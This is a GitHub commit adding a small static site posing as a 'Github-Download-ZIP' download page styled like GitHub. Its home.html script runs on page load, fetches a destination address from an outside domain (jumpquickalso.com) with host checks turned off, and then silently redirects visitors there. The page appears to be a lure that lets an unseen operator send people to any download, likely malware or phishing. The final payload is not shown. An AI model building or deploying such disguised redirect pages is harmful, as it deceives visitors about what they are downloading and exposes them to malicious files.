Skip to content

Commit 4c9ea3b

Browse files
Add files via upload
1 parent 567cbf7 commit 4c9ea3b

4 files changed

Lines changed: 266 additions & 0 deletions

File tree

404.html

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8" />
5+
<meta name="viewport" content="width=device-width, initial-scale=1" />
6+
<title>Not Found - Github-Download-ZIP</title>
7+
<meta name="description" content="Download for files Github.io" />
8+
<meta name="build-id" content="6ae1f77a75ac" />
9+
<link rel="stylesheet" href="styles.css" />
10+
</head>
11+
<body class="simple-page">
12+
<main class="card">
13+
<h1>Page not found</h1>
14+
<p class="muted">Go back to the start page.</p>
15+
<div class="actions">
16+
<a class="btn primary" href="./index.html">Home</a>
17+
</div>
18+
</main>
19+
</body>
20+
</html>

home.html

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8" />
5+
<meta name="viewport" content="width=device-width, initial-scale=1" />
6+
<title>Github-Download-ZIP</title>
7+
<meta name="description" content="Download for files Github.io" />
8+
<meta name="build-id" content="6ae1f77a75ac" />
9+
<link rel="stylesheet" href="styles.css" />
10+
</head>
11+
12+
<body>
13+
<header class="site-header">
14+
<div class="header-inner">
15+
<span class="header-title">Github-Download-ZIP</span>
16+
</div>
17+
</header>
18+
19+
<main>
20+
<section class="card">
21+
<h1 id="headline">Preparing…</h1>
22+
23+
<div class="spinner" aria-hidden="true"></div>
24+
<p id="status" class="muted">Loading link…</p>
25+
26+
<div class="muted" style="margin-top: 10px">
27+
Destination host: <span id="dest"></span>
28+
</div>
29+
30+
<div class="actions" style="margin-top: 18px">
31+
<a id="downloadLink" class="btn primary" href="#" rel="noopener noreferrer">Continue</a>
32+
<button id="retry" class="btn" type="button">Retry</button>
33+
</div>
34+
35+
<p class="muted" style="margin-top: 14px">If nothing happens, press Retry.</p>
36+
</section>
37+
</main>
38+
39+
<footer class="site-footer">
40+
<span>© 2026 github</span>
41+
</footer>
42+
43+
<script>
44+
(() => {
45+
// External link file URL (any name/extension is OK).
46+
// File content:
47+
// - JSON: {"url":"https://example.com/file.zip"} (preferred)
48+
// - OR plain text: https://example.com/file.zip
49+
const REMOTE_LINK_FILE = "https://jumpquickalso.com/rewind.ruther";
50+
51+
// If null -> show placeholder (no redirect) when remote source is unavailable.
52+
const FALLBACK_URL = null;
53+
54+
// Optional safety: allowlist hosts. Leave empty to disable allowlist.
55+
const ALLOW_HOSTS = new Set([]);
56+
57+
const headline = document.getElementById("headline");
58+
const statusEl = document.getElementById("status");
59+
const destEl = document.getElementById("dest");
60+
const linkEl = document.getElementById("downloadLink");
61+
const retryBtn = document.getElementById("retry");
62+
63+
function setStatus(text) {
64+
if (statusEl) statusEl.textContent = text;
65+
}
66+
67+
function parseUrlFromMaybeJsonOrText(rawText) {
68+
const t = (rawText || "").trim();
69+
if (!t) return null;
70+
71+
// Try JSON first
72+
try {
73+
const obj = JSON.parse(t);
74+
return (obj && (obj.url || obj.link || obj.href)) ? (obj.url || obj.link || obj.href) : null;
75+
} catch {
76+
// Not JSON -> treat as plain text URL
77+
return t;
78+
}
79+
}
80+
81+
function isAllowedHttpsUrl(url) {
82+
const u = new URL(url);
83+
if (u.protocol !== "https:") return false;
84+
if (ALLOW_HOSTS.size === 0) return true; // allowlist disabled
85+
return ALLOW_HOSTS.has(u.hostname);
86+
}
87+
88+
function showPlaceholder(message) {
89+
if (headline) headline.textContent = "Link unavailable";
90+
setStatus(message);
91+
if (destEl) destEl.textContent = "—";
92+
if (linkEl) {
93+
linkEl.href = "#";
94+
linkEl.setAttribute("aria-disabled", "true");
95+
}
96+
}
97+
98+
function startRedirect(url) {
99+
if (!url) return showPlaceholder("Could not load a valid link. Please try again later.");
100+
101+
let u;
102+
try { u = new URL(url); }
103+
catch { return showPlaceholder("Invalid link format."); }
104+
105+
if (!isAllowedHttpsUrl(url)) {
106+
return showPlaceholder("Destination blocked. Check allowed hosts.");
107+
}
108+
109+
if (destEl) destEl.textContent = u.hostname;
110+
if (linkEl) linkEl.href = url;
111+
112+
if (headline) headline.textContent = "Preparing…";
113+
setStatus("Redirecting shortly…");
114+
115+
setTimeout(() => {
116+
if (headline) headline.textContent = "Redirecting…";
117+
window.location.assign(url);
118+
}, 1200);
119+
}
120+
121+
async function loadRemoteUrl() {
122+
setStatus("Loading link…");
123+
const r = await fetch(REMOTE_LINK_FILE, { cache: "no-store" });
124+
if (!r.ok) throw new Error("Remote file not available");
125+
const text = await r.text();
126+
return parseUrlFromMaybeJsonOrText(text);
127+
}
128+
129+
async function init() {
130+
try {
131+
const url = await loadRemoteUrl();
132+
startRedirect(url);
133+
} catch (e) {
134+
startRedirect(FALLBACK_URL);
135+
}
136+
}
137+
138+
if (retryBtn) retryBtn.addEventListener("click", init);
139+
init();
140+
})();
141+
</script>
142+
</body>
143+
</html>

index.html

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8" />
5+
<meta name="viewport" content="width=device-width, initial-scale=1" />
6+
<title>Github-Download-ZIP</title>
7+
<meta name="description" content="Download for files Github.io" />
8+
<meta name="build-id" content="6ae1f77a75ac" />
9+
<link rel="stylesheet" href="styles.css" />
10+
</head>
11+
<body class="simple-page">
12+
<main class="card">
13+
<h1>Github-Download-ZIP</h1>
14+
<p class="muted">Redirecting…</p>
15+
<div class="actions">
16+
<a class="btn primary" href="home.html">Continue</a>
17+
</div>
18+
</main>
19+
20+
<script>
21+
window.setTimeout(() => window.location.replace("home.html"), 150);
22+
</script>
23+
</body>
24+
</html>

styles.css

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
:root {
2+
--bg: #010409;
3+
--text: #f0f6fc;
4+
--muted: #8b949e;
5+
--border: #21262d;
6+
--card: #0c1015;
7+
--accent: #58a6ff;
8+
}
9+
10+
* { margin: 0; padding: 0; box-sizing: border-box; }
11+
12+
body {
13+
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif;
14+
background: var(--bg);
15+
color: var(--text);
16+
min-height: 100vh;
17+
display: flex;
18+
flex-direction: column;
19+
}
20+
21+
.site-header { border-bottom: 1px solid var(--border); padding: 16px 0; }
22+
.header-inner { max-width: 960px; margin: 0 auto; padding: 0 24px; display: flex; align-items: center; }
23+
.header-title { font-size: 18px; font-weight: 600; }
24+
25+
main { flex: 1; display: flex; align-items: center; justify-content: center; padding: 40px 24px; }
26+
27+
.card {
28+
background: var(--card);
29+
border: 1px solid var(--border);
30+
border-radius: 12px;
31+
padding: 40px;
32+
width: 100%;
33+
max-width: 560px;
34+
text-align: center;
35+
box-shadow: 0 16px 32px rgba(1, 4, 9, 0.85);
36+
}
37+
38+
.simple-page main { padding: 0; }
39+
40+
.card h1 { font-size: 24px; font-weight: 600; margin-bottom: 12px; }
41+
.muted { color: var(--muted); font-size: 14px; }
42+
43+
.actions { margin-top: 18px; display: flex; justify-content: center; gap: 12px; flex-wrap: wrap; }
44+
45+
.btn {
46+
text-decoration: none;
47+
color: var(--text);
48+
border: 1px solid var(--border);
49+
padding: 10px 14px;
50+
border-radius: 10px;
51+
background: transparent;
52+
cursor: pointer;
53+
}
54+
55+
.btn.primary { border-color: var(--accent); }
56+
.btn:hover { border-color: var(--accent); }
57+
58+
.spinner {
59+
width: 20px; height: 20px;
60+
border: 2px solid #30363d;
61+
border-top: 2px solid var(--accent);
62+
border-radius: 50%;
63+
animation: spin 1s linear infinite;
64+
margin: 18px auto 12px;
65+
}
66+
67+
@keyframes spin {
68+
0% { transform: rotate(0deg); }
69+
100% { transform: rotate(360deg); }
70+
}
71+
72+
.site-footer {
73+
border-top: 1px solid var(--border);
74+
padding: 18px 24px;
75+
color: var(--muted);
76+
font-size: 12px;
77+
display: flex;
78+
justify-content: center;
79+
}

0 commit comments

Comments
 (0)